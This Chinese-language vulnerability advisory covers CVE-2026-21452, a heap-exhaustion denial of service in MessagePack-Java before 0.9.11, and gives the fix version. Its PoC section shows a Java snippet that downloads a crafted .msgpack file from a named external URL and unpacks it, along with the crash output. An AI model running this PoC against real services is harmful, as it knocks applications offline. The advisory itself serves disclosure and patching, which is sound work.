MessagePack-Java易受远程拒绝服务CVE-2026-21452
MessagePack-Java 是 MessagePack 序列化格式 的官方 Java 实现库,比 JSON 更小的体积、更快的解析速度,同时保持跨语言兼容性。
一、基本情况
MessagePack是一种二进制序列化协议,在Java应用中高效完成对象序列化(将对象转为二进制)与反序列化(将二进制还原为对象)。

MessagePack解决了JSON文本序列化体积大、解析慢的问题,避免Protobuf 需预定义 IDL(接口定义文件)繁琐,兼顾易用性与高性能。
栋科技漏洞库关注到 MessagePack-Java 在版本低于0.9.11时存在一个拒绝服务漏洞,漏洞追踪为CVE-2026-21452,CVSS 3.X评分7.5。
二、漏洞分析
CVE-2026-21452漏洞是版本低于0.9.11,当反序列化包含攻击者控制的负载长度的EXT32对象的.msgpack文件时,存在的拒绝服务漏洞。
虽然MessagePack-Java在解析扩展头时较为懒散,但在具体化扩展数据时,它会信任所声明的EXT载荷长度。
当调用ExtensionValue.getData()时,该库会尝试分配一个所声明长度的字节数组,而不会强制任何上限。
因此,一个仅包含几个字节的恶意.msgpack文件即可触发无限制的堆分配,从而导致JVM堆溢出、进程终止或服务不可用。
此漏洞在模型加载/反序列化过程中被触发,使其成为一种适合远程利用的模型格式漏洞。
该漏洞允许针对使用Java MessagePack反序列化不受信任的.msgpack模型文件的应用程序进行远程拒绝服务攻击。
一个专门定制但语法有效的.msgpack文件包含带有攻击者控制、过大的负载长度的EXT32对象,可以在反序列化期间触发无限内存分配。
当模型文件加载时,库信任声明的长度元数据并尝试分配该大小的字节数组,
导致快速堆耗尽、过多的垃圾回收或立即以OutOfMemoryError终止JVM。
这种攻击不需要畸形字节、用户交互或提升权限,可以在现实世界环境中进行远程利用,
如模型注册表、推理服务、CI/CD管道和接受或获取.msgpack工件基于云的模型托管平台。
由于恶意文件非常小但有效,因此可以绕过基本的验证和扫描机制,从而导致服务完全不可用,并可能在生产系统中引发级联故障。
受影响的组件
org.msgpack.core.MessageUnpacker.readPayload()
org.msgpack.core.MessageUnpacker.unpackValue()
org.msgpack.value.ExtensionValue.getData()
三、POC概念验证
1、Poc代码
管理员已设置登录后刷新可查看2、下载依赖:使用curl命令从以下地址下载文件,用于Java重现
管理员已设置登录后刷新可查看3、编译
管理员已设置登录后刷新可查看4、运行(在有限堆内存的情况下)
管理员已设置登录后刷新可查看5、观察结果:
Exception in thread "main" java.lang.OutOfMemoryError: Java heap space
at org.msgpack.core.MessageUnpacker.readPayload(...)
at org.msgpack.core.MessageUnpacker.unpackValue(...)
var u = new java.net.URL("https://huggingface.co/Blackbloodhacker/msgpack/resolve/main/ext_length_470000001.msgpack");
var d = u.openStream().readAllBytes();
var up = org.msgpack.core.MessagePack.newDefaultUnpacker(d);
up.unpackValue().asExtensionValue().getData();
6、运行
java -Xmx256m -cp .:msgpack-core-0.9.8.jar Main
当基于Java的消费者加载Hugging Face上的远程托管模型文件时,可能会导致拒绝服务。
在daa2ea6版本中,针对EXT32/BIN32数据类型,通过逐步为大型输入分配内存来解决此问题,补丁已在msgpack-java 0.9.11版本中发布。
四、影响范围
msgpack-java < 0.9.11
五、修复建议
msgpack-java >= 0.9.11
六、参考链接
管理员已设置登录后刷新可查看